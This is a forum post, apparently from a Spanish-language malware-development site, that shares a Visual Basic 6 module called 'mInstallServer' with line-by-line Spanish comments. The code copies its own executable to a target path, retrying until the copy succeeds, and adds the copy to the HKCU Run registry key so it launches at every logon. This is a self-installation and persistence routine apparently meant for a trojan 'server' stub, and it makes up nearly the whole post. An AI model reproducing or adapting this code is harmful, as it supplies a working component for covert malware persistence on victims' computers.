Código: Seleccionar todo
Option Explicit
'***********************************************************
'***********************************************************
'** Name : mInstallServer **
'** Version : 1.0 **
'** Author : DARK_J4V13R **
'** Email : [email protected] **
'** Date : 22/12/09 11:12 a.m. **
'** Web : www.Indetectables.net **
'***********************************************************
'***********************************************************
'***********************************************************
'** Apis para copiar archivos y borrarlos **
'***********************************************************
Private Declare Function sCopy Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Dim sData As String, sCompare As String
Public Function Install(sPath As String, Reg As Boolean)
If App.Path & "\" & App.EXEName & ".exe" = sPath Then Exit Function '<<< Si nuestra ruta es la misma, salimos de la función
If Not Dir$(sPath) = vbNullString Then '<<< Colocamos una condificón, para comprobar si existimos ya en la ruta indicada en sPath.
Call OpenFile(App.Path & "\" & App.EXEName & ".exe", sData) '<<< Nos auto-abrimos.
Call OpenFile(sPath, sCompare) '<<< Abrimos el archivo existente.
If Trim$(sData) = Trim$(sCompare) Then '<<< Colocamos una condición para comprobar si los archivos son iguales.
Exit Function '<<< Si son iguales salimos de la función
Else '<<< Si por casualidad los archivos no son iguales, continuamos con el codigo normal.
Do While CopyFile(Reg, sPath) <> True '<<< No para hasta que CopyFile sea igual a True
Loop '<<< Bucle
End If '<<< Terminamos la condición
Else
Do While CopyFile(Reg, sPath) <> True '<<< No para hasta que CopyFile sea igual a True
Loop '<<< Bucle
End If '<<< Terminamos la condición.
End Function
Public Function OpenFile(hPath As String, hVariable As String) '<<< Función para abrir archivos
Open hPath For Binary As #1 '<<< Abrimos el archivo indicado en la variable hPath.
hVariable = Space$(LOF(1)) '<<< Obtenemos los datos del archivo.
Get #1, , hVariable '<<< Extraemos los datos del archivo y los almacenamos en la variable indicada.
Close #1 '<<< Cerramos el archivo.
End Function
Public Function CopyFile(sReg As Boolean, Path As String) As Boolean '<<< Función para copiar el archivo
Call sCopy(App.Path & "\" & App.EXEName & ".exe", Path, 0) '<<< Copiamos el archivo a la ruta seleccionada
If sReg = True Then '<<< Colocamos una condicion para comprobar si sReg es igual a true
Do While RegFile(Path) <> True '<<< No para hasta que RegFile sea igual a true
Loop '<<< Bucle
End If '<<< Terminamos la condición
CopyFile = True
End Function
Public Function RegFile(xPath As String) As Boolean '<<< Funcion para añadirnos al registro
Dim Añadir As Object
Set Añadir = CreateObject("WScript.Shell")
Añadir.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName &".exe", xPath '<<< Añadimos al registro la aplicación
RegFile = True
End Function
No se pasen con las críticas
Saludos
